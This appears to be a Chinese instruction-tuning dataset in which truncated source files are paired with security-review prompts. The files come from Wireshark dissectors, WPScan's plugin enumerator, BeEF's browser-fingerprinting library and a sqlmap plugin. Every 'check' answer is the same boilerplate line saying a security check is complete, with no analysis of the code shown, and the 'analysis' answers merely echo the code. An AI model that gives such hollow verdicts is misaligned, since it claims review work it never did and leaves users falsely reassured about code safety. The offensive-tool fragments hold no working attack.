static int hf_mcc_dlci = -1;
static int hf_mcc_channel = -1;
static int hf_mcc_direction = -1;
static int hf_mcc_const_1 = -1;

static int hf_mcc_pn_dlci = -1;
static int hf_mcc_pn_channel ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* busmaster.c
 *
 * Wiretap Library
 * Copyright (c) 1998 by Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Support for Busmaster log file format
 * Copyright (c) 2019 by Maksim Salau <maksim.salau@gmail.com>
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#include <wtap-int.h>
#include <file_wrappers.h>
#include <epan/dissectors/packet-socketcan.h>
#include <wsutil/exported_pdu_tlvs.h>
#include "busmaster.h"
#include "busmaster_priv.h"
#include <inttypes.h>
#include <string.h>
#include <errno.h>

static void
busmaster_close(wtap *wth);

static gboolean
busmaster_read(wtap   *wth, wtap_rec *rec, Buffer *buf,
               int    *err, gchar **err_info,
               gint64 *data_offset);

static gboolean
busmaster_seek_read(wtap     *wth, gint64 seek_off,
                    wtap_rec *rec, Buffer *buf,
                    int      *err, gchar **err_info);

static int busmaster_file_type_subtype = -1;

void register_busmaster(void);

/*
 * See
 *
 *    http://rbei-etas.github.io/busmaster/
 *
 * for the BUSMASTER software.
 */

static gboolean
busmaster_gen_packet(wtap_rec               *rec, Buffer *buf,
                     const busmaster_priv_t *priv_entry, const msg_t *msg,
                     int                    *err, gchar **err_info)
{
    time_t secs     = 0;
    guint32  nsecs  = 0;
    gboolean has_ts = FALSE;
    gboolean is_fd  = (msg->type == MSG_TYPE_STD_FD)
        || (msg->type == MSG_TYPE_EXT_FD);
    gboolean is_eff = (msg->type == MSG_TYPE_EXT)
        || (msg->type == MSG_TYPE_EXT_RTR)
        || (msg->type == MSG_TYPE_EXT_FD);
    gboolean is_rtr = (msg->type == MSG_TYPE_STD_RTR)
        || (msg->type == MSG_TYPE_EXT_RTR);
    gboolean is_err = (msg->type == MSG_TYPE_ERR);

    if (!priv_entry)
    {
        *err      = WTAP_ERR_BAD_FILE;
        *err_info = g_strdup("Header is missing");
        return FALSE;
    }

    /* Generate Exported PDU tags for the packet info */
    ws_buffer_clean(buf);
    if (is_fd)
  ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* busmaster.c
 *
 * Wiretap Library
 * Copyright (c) 1998 by Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Support for Busmaster log file format
 * Copyright (c) 2019 by Maksim Salau <maksim.salau@gmail.com>
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#include <wtap-int.h>
#include <file_wrappers.h>
#include <epan/dissectors/packet-socketcan.h>
#include <wsutil/exported_pdu_tlvs.h>
#include "busmaster.h"
#include "busmaster_priv.h"
#include <inttypes.h>
#include <string.h>
#include <errno.h>

static void
busmaster_close(wtap *wth);

static gboolean
busmaster_read(wtap   *wth, wtap_rec *rec, Buffer *buf,
               int    *err, gchar **err_info,
               gint64 *data_offset);

static gboolean
busmaster_seek_read(wtap     *wth, gint64 seek_off,
                    wtap_rec *rec, Buffer *buf,
                    int      *err, gchar **err_info);

static int busmaster_file_type_subtype = -1;

void register_busmaster(void);

/*
 * See
 *
 *    http://rbei-etas.github.io/busmaster/
 *
 * for the BUSMASTER software.
 */

static gboolean
busmaster_gen_packet(wtap_rec               *rec, Buffer *buf,
                     const busmaster_priv_t *priv_entry, const msg_t *msg,
                     int                    *err, gchar **err_info)
{
    time_t secs     = 0;
    guint32  nsecs  = 0;
    gboolean has_ts = FALSE;
    gboolean is_fd  = (msg->type == MSG_TYPE_STD_FD)
        || (msg->type == MSG_TYPE_EXT_FD);
    gboolean is_eff = (msg->type == MSG_TYPE_EXT)
        || (msg->type == MSG_TYPE_EXT_RTR)
        || (msg->type == MSG_TYPE_EXT_FD);
    gboolean is_rtr = (msg->type == MSG_TYPE_STD_RTR)
        || (msg->type == MSG_TYPE_EXT_RTR);
    gboolean is_err = (msg->type == MSG_TYPE_ERR);

    if (!priv_entry)
    {
        *err      = WTAP_ERR_BAD_FILE;
        *err_info = g_strdup("Header is missing");
        return FALSE;
    }

    /* Generate Exported PDU tags for the packet info */
    ws_buffer_clean(buf);
    if (is_fd)
  ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

module WPScan
  module Finders
    module Plugins
      # Known Locations Plugins Finder
      class KnownLocations < CMSScanner::Finders::Finder
        include CMSScanner::Finders::Finder::Enumerator

        # @return [ Array<Integer> ]
        def valid_response_codes
          @valid_response_codes ||= [200, 401, 403, 500].freeze
        end

        # @param [ Hash ] opts
        # @option opts [ String ] :list
        #
        # @return [ Array<Plugin> ]
        def aggressive(opts = {})
          found = []

          enumerate(target_urls(opts), opts.merge(check_full_response: true)) do |res, slug|
            finding_opts = opts.merge(found_by: found_by,
                                      confidence: 80,
                                      interesting_entries: ["#{res.effective_url}, status: #{res.code}"])

            found << Model::Plugin.new(slug, target, finding_opts)

            raise Error::PluginsThresholdReached if opts[:threshold].positive? && found.size >= opts[:threshold]
          end

          found
        end

        # @param [ Hash ] opts
        # @option opts [ String ] :list
        #
        # @return [ Hash ]
        def target_urls(opts = {})
          slugs       = opts[:list] || DB::Plugins.vulnerable_slugs
          urls        = {}

          slugs.each do |slug|
            urls[target.plugin_url(slug)] = slug
          end

          urls
        end

        def create_progress_bar(opts = {})
          super(opts.merge(title: ' Checking Known Locations -'))
        end
      end
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

module WPScan
  module Finders
    module Plugins
      # Known Locations Plugins Finder
      class KnownLocations < CMSScanner::Finders::Finder
        include CMSScanner::Finders::Finder::Enumerator

        # @return [ Array<Integer> ]
        def valid_response_codes
          @valid_response_codes ||= [200, 401, 403, 500].freeze
        end

        # @param [ Hash ] opts
        # @option opts [ String ] :list
        #
        # @return [ Array<Plugin> ]
        def aggressive(opts = {})
          found = []

          enumerate(target_urls(opts), opts.merge(check_full_response: true)) do |res, slug|
            finding_opts = opts.merge(found_by: found_by,
                                      confidence: 80,
                                      interesting_entries: ["#{res.effective_url}, status: #{res.code}"])

            found << Model::Plugin.new(slug, target, finding_opts)

            raise Error::PluginsThresholdReached if opts[:threshold].positive? && found.size >= opts[:threshold]
          end

          found
        end

        # @param [ Hash ] opts
        # @option opts [ String ] :list
        #
        # @return [ Hash ]
        def target_urls(opts = {})
          slugs       = opts[:list] || DB::Plugins.vulnerable_slugs
          urls        = {}

          slugs.each do |slug|
            urls[target.plugin_url(slug)] = slug
          end

          urls
        end

        def create_progress_bar(opts = {})
          super(opts.merge(title: ' Checking Known Locations -'))
        end
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-tcpros.c
 * Routines for Robot Operating System TCP protocol (TCPROS)
 * Copyright 2015, Guillaume Autran  (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/prefs.h>

#include "packet-tcp.h"

#define SIZE_OF_LENGTH_FIELD 4
#define SIZE_OF_LENGTH_STAMP (4 + 4)

void proto_register_tcpros(void);
void proto_reg_handoff_tcpros(void);

static int proto_tcpros = -1;
static dissector_handle_t tcpros_handle;

/** desegmentation of TCPROS over TCP */
static gboolean tcpros_desegment = TRUE;

static int hf_tcpros_connection_header = -1;
static int hf_tcpros_connection_header_length = -1;
static int hf_tcpros_connection_header_content = -1;
static int hf_tcpros_connection_header_field = -1;
static int hf_tcpros_connection_header_field_length = -1;
static int hf_tcpros_connection_header_field_data = -1;
static int hf_tcpros_connection_header_field_name = -1;
static int hf_tcpros_connection_header_field_value = -1;
static int hf_tcpros_clock = -1;
static int hf_tcpros_clock_length = -1;
static int hf_tcpros_message = -1;
static int hf_tcpros_message_length = -1;
static int hf_tcpros_message_body = -1;
static int hf_tcpros_message_header = -1;
static int hf_tcpros_message_header_seq = -1;
static int hf_tcpros_message_header_stamp = -1;
static int hf_tcpros_message_header_stamp_sec = -1;
static int hf_tcpros_message_header_stamp_nsec = -1;
static int hf_tcpros_message_header_frame = -1;
static int hf_tcpros_message_header_frame_length = -1;
static int hf_tcpros_message_header_frame_value = -1;
static int hf_tcpros_message_payload = -1;

static gint ett_tcpros = -1;

/**
 * This is the ROS connection header dissector. The general packet format is described
 * here: http://wiki.ros.org/ROS/TCPROS
 * In short, a connection header looks like such: '4-b...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-tcpros.c
 * Routines for Robot Operating System TCP protocol (TCPROS)
 * Copyright 2015, Guillaume Autran  (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/prefs.h>

#include "packet-tcp.h"

#define SIZE_OF_LENGTH_FIELD 4
#define SIZE_OF_LENGTH_STAMP (4 + 4)

void proto_register_tcpros(void);
void proto_reg_handoff_tcpros(void);

static int proto_tcpros = -1;
static dissector_handle_t tcpros_handle;

/** desegmentation of TCPROS over TCP */
static gboolean tcpros_desegment = TRUE;

static int hf_tcpros_connection_header = -1;
static int hf_tcpros_connection_header_length = -1;
static int hf_tcpros_connection_header_content = -1;
static int hf_tcpros_connection_header_field = -1;
static int hf_tcpros_connection_header_field_length = -1;
static int hf_tcpros_connection_header_field_data = -1;
static int hf_tcpros_connection_header_field_name = -1;
static int hf_tcpros_connection_header_field_value = -1;
static int hf_tcpros_clock = -1;
static int hf_tcpros_clock_length = -1;
static int hf_tcpros_message = -1;
static int hf_tcpros_message_length = -1;
static int hf_tcpros_message_body = -1;
static int hf_tcpros_message_header = -1;
static int hf_tcpros_message_header_seq = -1;
static int hf_tcpros_message_header_stamp = -1;
static int hf_tcpros_message_header_stamp_sec = -1;
static int hf_tcpros_message_header_stamp_nsec = -1;
static int hf_tcpros_message_header_frame = -1;
static int hf_tcpros_message_header_frame_length = -1;
static int hf_tcpros_message_header_frame_value = -1;
static int hf_tcpros_message_payload = -1;

static gint ett_tcpros = -1;

/**
 * This is the ROS connection header dissector. The general packet format is described
 * here: http://wiki.ros.org/ROS/TCPROS
 * In short, a connection header looks like such: '4-b...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Routines for the disassembly of the proprietary Cisco IPSEC in
 * TCP encapsulation protocol
 *
 * Copyright 2007 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* TODO:
 * - Find out the meaning of the (unknown) trailer
 * - UDP checksum is wrong
 * - Currently doesn't handle AH (lack of sample trace)
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ndmp.h"

void proto_register_tcpencap(void);
void proto_reg_handoff_tcpencap(void);

static dissector_handle_t tcpencap_handle;

static int hf_tcpencap_unknown = -1;
static int hf_tcpencap_zero = -1;
static int hf_tcpencap_seq = -1;
static int hf_tcpencap_ike_direction = -1;
static int hf_tcpencap_esp_zero = -1;
static int hf_tcpencap_magic = -1;
static int hf_tcpencap_proto = -1;
static int hf_tcpencap_magic2 = -1;

static int proto_tcpencap = -1;
static gint ett_tcpencap = -1;
static gint ett_tcpencap_unknown = -1;

static const value_string tcpencap_ikedir_vals[] = {
	{ 0x0000,	"Server to client" },
	{ 0x4000,	"Client to server" },

	{ 0,	NULL }
};

static const value_string tcpencap_proto_vals[] = {
	{ 0x11,	"ISAKMP" },
	{ 0x32,	"ESP" },

	{ 0,	NULL }
};

#define TRAILERLENGTH 16
#define TCP_CISCO_IPSEC 10000

static dissector_handle_t esp_handle;
static dissector_handle_t udp_handle;

#define TCP_ENCAP_P_ESP 1
#define TCP_ENCAP_P_UDP 2

static int
packet_is_tcpencap(tvbuff_t *tvb, packet_info *pinfo, guint32 offset)
{
	if (	/* Must be zero */
		tvb_get_ntohl(tvb, offset + 0) != 0 ||
		/* Lower 12 bits must be zero */
		(tvb_get_ntohs(tvb, offset + 6) & 0xfff) != 0 ||
		/* Protocol must be UDP or ESP */
		(tvb_get_guint8(tvb, offset + 13) != 17 &&
		 tvb_get_guint8(tvb, offset + 13) != 50)
	) {
		return FALSE;
	}

	if(check_if_ndmp(tvb, pinfo)){
		return FALSE;
	}

	return TRUE;
}

/*
 * TCP Encapsulation of IPsec Packets
 * as supported by...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Routines for the disassembly of the proprietary Cisco IPSEC in
 * TCP encapsulation protocol
 *
 * Copyright 2007 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* TODO:
 * - Find out the meaning of the (unknown) trailer
 * - UDP checksum is wrong
 * - Currently doesn't handle AH (lack of sample trace)
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ndmp.h"

void proto_register_tcpencap(void);
void proto_reg_handoff_tcpencap(void);

static dissector_handle_t tcpencap_handle;

static int hf_tcpencap_unknown = -1;
static int hf_tcpencap_zero = -1;
static int hf_tcpencap_seq = -1;
static int hf_tcpencap_ike_direction = -1;
static int hf_tcpencap_esp_zero = -1;
static int hf_tcpencap_magic = -1;
static int hf_tcpencap_proto = -1;
static int hf_tcpencap_magic2 = -1;

static int proto_tcpencap = -1;
static gint ett_tcpencap = -1;
static gint ett_tcpencap_unknown = -1;

static const value_string tcpencap_ikedir_vals[] = {
	{ 0x0000,	"Server to client" },
	{ 0x4000,	"Client to server" },

	{ 0,	NULL }
};

static const value_string tcpencap_proto_vals[] = {
	{ 0x11,	"ISAKMP" },
	{ 0x32,	"ESP" },

	{ 0,	NULL }
};

#define TRAILERLENGTH 16
#define TCP_CISCO_IPSEC 10000

static dissector_handle_t esp_handle;
static dissector_handle_t udp_handle;

#define TCP_ENCAP_P_ESP 1
#define TCP_ENCAP_P_UDP 2

static int
packet_is_tcpencap(tvbuff_t *tvb, packet_info *pinfo, guint32 offset)
{
	if (	/* Must be zero */
		tvb_get_ntohl(tvb, offset + 0) != 0 ||
		/* Lower 12 bits must be zero */
		(tvb_get_ntohs(tvb, offset + 6) & 0xfff) != 0 ||
		/* Protocol must be UDP or ESP */
		(tvb_get_guint8(tvb, offset + 13) != 17 &&
		 tvb_get_guint8(tvb, offset + 13) != 50)
	) {
		return FALSE;
	}

	if(check_if_ndmp(tvb, pinfo)){
		return FALSE;
	}

	return TRUE;
}

/*
 * TCP Encapsulation of IPsec Packets
 * as supported by...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 *  tap-funnel.c
 *
 * EPAN's GUI mini-API
 *
 * (c) 2006, Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/funnel.h>
#include <stdio.h>

#include "ws_attributes.h"

#include <wsutil/wslog.h>

void register_tap_listener_funnel(void);

struct _funnel_text_window_t {
    gchar *title;
    GString *text;
};

static GPtrArray *text_windows = NULL;

static funnel_text_window_t *new_text_window(funnel_ops_id_t *ops_id _U_, const gchar *title) {
    funnel_text_window_t *tw = g_new(funnel_text_window_t, 1);
    tw->title = g_strdup(title);
    tw->text = g_string_new("");

    if (!text_windows)
        text_windows = g_ptr_array_new();

    g_ptr_array_add(text_windows, tw);

    return tw;
}

static void text_window_clear(funnel_text_window_t *tw) {
    g_string_free(tw->text, TRUE);
    tw->text = g_string_new("");
}

static void text_window_append(funnel_text_window_t *tw, const char *text ) {
    g_string_append(tw->text, text);
}

static void text_window_set_text(funnel_text_window_t *tw, const char *text) {
    g_string_free(tw->text, TRUE);
    tw->text = g_string_new(text);
}

static void text_window_prepend(funnel_text_window_t *tw, const char *text) {
    g_string_prepend(tw->text, text);
}

static const gchar *text_window_get_text(funnel_text_window_t *tw) {
    return tw->text->str;
}

static const funnel_ops_t funnel_ops = {
    NULL,
    new_text_window,
    text_window_set_text,
    text_window_append,
    text_window_prepend,
    text_window_clear,
    text_window_get_text,
    NULL,
    NULL,
    NULL,
    NULL,
    /*...,*/
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
};

void initialize_funnel_ops(void) {
    funnel_set_f...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 *  tap-funnel.c
 *
 * EPAN's GUI mini-API
 *
 * (c) 2006, Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/funnel.h>
#include <stdio.h>

#include "ws_attributes.h"

#include <wsutil/wslog.h>

void register_tap_listener_funnel(void);

struct _funnel_text_window_t {
    gchar *title;
    GString *text;
};

static GPtrArray *text_windows = NULL;

static funnel_text_window_t *new_text_window(funnel_ops_id_t *ops_id _U_, const gchar *title) {
    funnel_text_window_t *tw = g_new(funnel_text_window_t, 1);
    tw->title = g_strdup(title);
    tw->text = g_string_new("");

    if (!text_windows)
        text_windows = g_ptr_array_new();

    g_ptr_array_add(text_windows, tw);

    return tw;
}

static void text_window_clear(funnel_text_window_t *tw) {
    g_string_free(tw->text, TRUE);
    tw->text = g_string_new("");
}

static void text_window_append(funnel_text_window_t *tw, const char *text ) {
    g_string_append(tw->text, text);
}

static void text_window_set_text(funnel_text_window_t *tw, const char *text) {
    g_string_free(tw->text, TRUE);
    tw->text = g_string_new(text);
}

static void text_window_prepend(funnel_text_window_t *tw, const char *text) {
    g_string_prepend(tw->text, text);
}

static const gchar *text_window_get_text(funnel_text_window_t *tw) {
    return tw->text->str;
}

static const funnel_ops_t funnel_ops = {
    NULL,
    new_text_window,
    text_window_set_text,
    text_window_append,
    text_window_prepend,
    text_window_clear,
    text_window_get_text,
    NULL,
    NULL,
    NULL,
    NULL,
    /*...,*/
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
};

void initialize_funnel_ops(void) {
    funnel_set_f...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>JSDoc: Source: browser.js</title>

    <script src="scripts/prettify/prettify.js"> </script>
    <script src="scripts/prettify/lang-css.js"> </script>
    <!--[if lt IE 9]>
      <script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
    <link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
    <link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">
</head>

<body>

<div id="main">

    <h1 class="page-title">Source: browser.js</h1>

    <section>
        <article>
            <pre class="prettyprint source linenums"><code>//
// Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Basic browser functions.
 * @namespace beef.browser
 */
beef.browser = {

    /**
     * Returns the user agent that the browser is claiming to be.
     * @example: beef.browser.getBrowserReportedName()
     */
    getBrowserReportedName: function () {
        return navigator.userAgent;
    },

    /**
     * Returns the underlying layout engine in use by the browser.
     * @example: beef.browser.getBrowserEngine()
     */
    getBrowserEngine: function() {
      try {
        var engine = platform.layout;
        if (!!engine)
          return engine;
      } catch (e) {}
      return 'unknown';
    },

    /**
     * Returns true if Avant Browser.
     * @example: beef.browser.isA()
     */
    isA: function () {
        return window.navigator.userAgent.match(/Avant TriCore/) != null;
    },

    /**
     * Returns true if Iceweasel.
     * @example: beef.browser.isIceweasel()
     */
    isIceweasel: function () {
        return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
    },

    /**
     * Returns true if Midori.
     * @example: beef.browser.isMidori()
     */
    isMi...


Instruction: 检查这段代码是否存在安全问题

Input:
<!DOCTYPE html>

    <meta charset="utf-8">
    <title>JSDoc: Source: browser.js</title>

    <link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
    <link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">

Source: browser.js

//
// Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Basic browser functions.
 * @namespace beef.browser
 */
beef.browser = {

    /**
     * Returns the user agent that the browser is claiming to be.
     * @example: beef.browser.getBrowserReportedName()
     */
    getBrowserReportedName: function () {
        return navigator.userAgent;
    },

    /**
     * Returns the underlying layout engine in use by the browser.
     * @example: beef.browser.getBrowserEngine()
     */
    getBrowserEngine: function() {
      try {
        var engine = platform.layout;
        if (!!engine)
          return engine;
      } catch (e) {}
      return 'unknown';
    },

    /**
     * Returns true if Avant Browser.
     * @example: beef.browser.isA()
     */
    isA: function () {
        return window.navigator.userAgent.match(/Avant TriCore/) != null;
    },

    /**
     * Returns true if Iceweasel.
     * @example: beef.browser.isIceweasel()
     */
    isIceweasel: function () {
        return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
    },

    /**
     * Returns true if Midori.
     * @example: beef.browser.isMidori()
     */
    isMi...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import DBMS
from lib.core.settings import PRESTO_SYSTEM_DBS
from lib.core.unescaper import unescaper

from plugins.dbms.presto.enumeration import Enumeration
from plugins.dbms.presto.filesystem import Filesystem
from plugins.dbms.presto.fingerprint import Fingerprint
from plugins.dbms.presto.syntax import Syntax
from plugins.dbms.presto.takeover import Takeover
from plugins.generic.misc import Miscellaneous

class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
    """
    This class defines Presto methods
    """

    def __init__(self):
        self.excludeDbsList = PRESTO_SYSTEM_DBS

        for cls in self.__class__.__bases__:
            cls.__init__(self)

    unescaper[DBMS.PRESTO] = Syntax.escape


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import DBMS
from lib.core.settings import PRESTO_SYSTEM_DBS
from lib.core.unescaper import unescaper

from plugins.dbms.presto.enumeration import Enumeration
from plugins.dbms.presto.filesystem import Filesystem
from plugins.dbms.presto.fingerprint import Fingerprint
from plugins.dbms.presto.syntax import Syntax
from plugins.dbms.presto.takeover import Takeover
from plugins.generic.misc import Miscellaneous

class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
    """
    This class defines Presto methods
    """

    def __init__(self):
        self.excludeDbsList = PRESTO_SYSTEM_DBS

        for cls in self.__class__.__bases__:
            cls.__init__(self)

    unescaper[DBMS.PRESTO] = Syntax.escape

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-sscf-nni.c
 * Routines for SSCF-NNI (Q.2140) frame disassembly
 * Jeff Morriss <jeff.morriss.ws [AT] gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998
 *
 * Copied from packet-sscop.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_sscf(void);
void proto_reg_handoff_sscf(void);

static int proto_sscf = -1;

static gint ett_sscf = -1;

static dissector_handle_t mtp3_handle;

#define SSCF_PDU_LENGTH 4
#define SSCF_STATUS_OFFSET 3
#define SSCF_STATUS_LENGTH 1
#define SSCF_SPARE_OFFSET 0
#define SSCF_SPARE_LENGTH 3

static int hf_status = -1;
static int hf_spare = -1;

#define SSCF_STATUS_OOS 0x01
#define SSCF_STATUS_PO  0x02
#define SSCF_STATUS_IS  0x03
#define SSCF_STATUS_NORMAL 0x04
#define SSCF_STATUS_EMERGENCY 0x05
#define SSCF_STATUS_ALIGNMENT_NOT_SUCCESSFUL 0x7
#define SSCF_STATUS_MANAGEMENT_INITIATED 0x08
#define SSCF_STATUS_PROTOCOL_ERROR 0x09
#define SSCF_STATUS_PROVING_NOT_SUCCESSFUL 0x0a

static const value_string sscf_status_vals[] = {
  { SSCF_STATUS_OOS,                      "Out of Service" },
  { SSCF_STATUS_PO,                       "Processor Outage" },
  { SSCF_STATUS_IS,                       "In Service" },
  { SSCF_STATUS_NORMAL,                   "Normal" },
  { SSCF_STATUS_EMERGENCY,                "Emergency" },
  { SSCF_STATUS_ALIGNMENT_NOT_SUCCESSFUL, "Alignment Not Successful" },
  { SSCF_STATUS_MANAGEMENT_INITIATED,     "Management Initiated" },
  { SSCF_STATUS_PROTOCOL_ERROR,           "Protocol Error" },
  { SSCF_STATUS_PROVING_NOT_SUCCESSFUL,   "Proving Not Successful" },
  { 0,                                    NULL }
};

static int
dissect_sscf_nni(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
  guint reported_length;
  proto_item *sscf_item = NULL;
  proto_tree *sscf_tree = NULL;
  guint8 sscf_status;

  reported_length = tvb_reported_length(tvb);  /* frame length *...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-sscf-nni.c
 * Routines for SSCF-NNI (Q.2140) frame disassembly
 * Jeff Morriss <jeff.morriss.ws [AT] gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998
 *
 * Copied from packet-sscop.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_sscf(void);
void proto_reg_handoff_sscf(void);

static int proto_sscf = -1;

static gint ett_sscf = -1;

static dissector_handle_t mtp3_handle;

#define SSCF_PDU_LENGTH 4
#define SSCF_STATUS_OFFSET 3
#define SSCF_STATUS_LENGTH 1
#define SSCF_SPARE_OFFSET 0
#define SSCF_SPARE_LENGTH 3

static int hf_status = -1;
static int hf_spare = -1;

#define SSCF_STATUS_OOS 0x01
#define SSCF_STATUS_PO  0x02
#define SSCF_STATUS_IS  0x03
#define SSCF_STATUS_NORMAL 0x04
#define SSCF_STATUS_EMERGENCY 0x05
#define SSCF_STATUS_ALIGNMENT_NOT_SUCCESSFUL 0x7
#define SSCF_STATUS_MANAGEMENT_INITIATED 0x08
#define SSCF_STATUS_PROTOCOL_ERROR 0x09
#define SSCF_STATUS_PROVING_NOT_SUCCESSFUL 0x0a

static const value_string sscf_status_vals[] = {
  { SSCF_STATUS_OOS,                      "Out of Service" },
  { SSCF_STATUS_PO,                       "Processor Outage" },
  { SSCF_STATUS_IS,                       "In Service" },
  { SSCF_STATUS_NORMAL,                   "Normal" },
  { SSCF_STATUS_EMERGENCY,                "Emergency" },
  { SSCF_STATUS_ALIGNMENT_NOT_SUCCESSFUL, "Alignment Not Successful" },
  { SSCF_STATUS_MANAGEMENT_INITIATED,     "Management Initiated" },
  { SSCF_STATUS_PROTOCOL_ERROR,           "Protocol Error" },
  { SSCF_STATUS_PROVING_NOT_SUCCESSFUL,   "Proving Not Successful" },
  { 0,                                    NULL }
};

static int
dissect_sscf_nni(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
  guint reported_length;
  proto_item *sscf_item = NULL;
  proto_tree *sscf_tree = NULL;
  guint8 sscf_status;

  reported_length = tvb_reported_length(tvb);  /* frame length *...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-fortinet-sso.c
 * Routines for Fortinet Single Sign-On
 * Copyright 2020, Alexis La Goutte <alexis.lagoutte at gmail dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * No spec/doc is available based on reverse/analysis of protocol...
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/addr_resolv.h>

#define UDP_FSSO        8002

void proto_register_fortinet_sso(void);
void proto_reg_handoff_fortinet_sso(void);

static int proto_fortinet_sso = -1;
static gint ett_fortinet_sso  = -1;

static int hf_fsso_length = -1;
static int hf_fsso_timestamp = -1;
static int hf_fsso_client_ip = -1;
static int hf_fsso_payload_length = -1;
static int hf_fsso_string = -1;
static int hf_fsso_domain = -1;
static int hf_fsso_user = -1;
static int hf_fsso_host = -1;
static int hf_fsso_version = -1;
static int hf_fsso_tsagent_number_port_range = -1;
static int hf_fsso_tsagent_port_range_min = -1;
static int hf_fsso_tsagent_port_range_max = -1;
static int hf_fsso_unknown = -1;
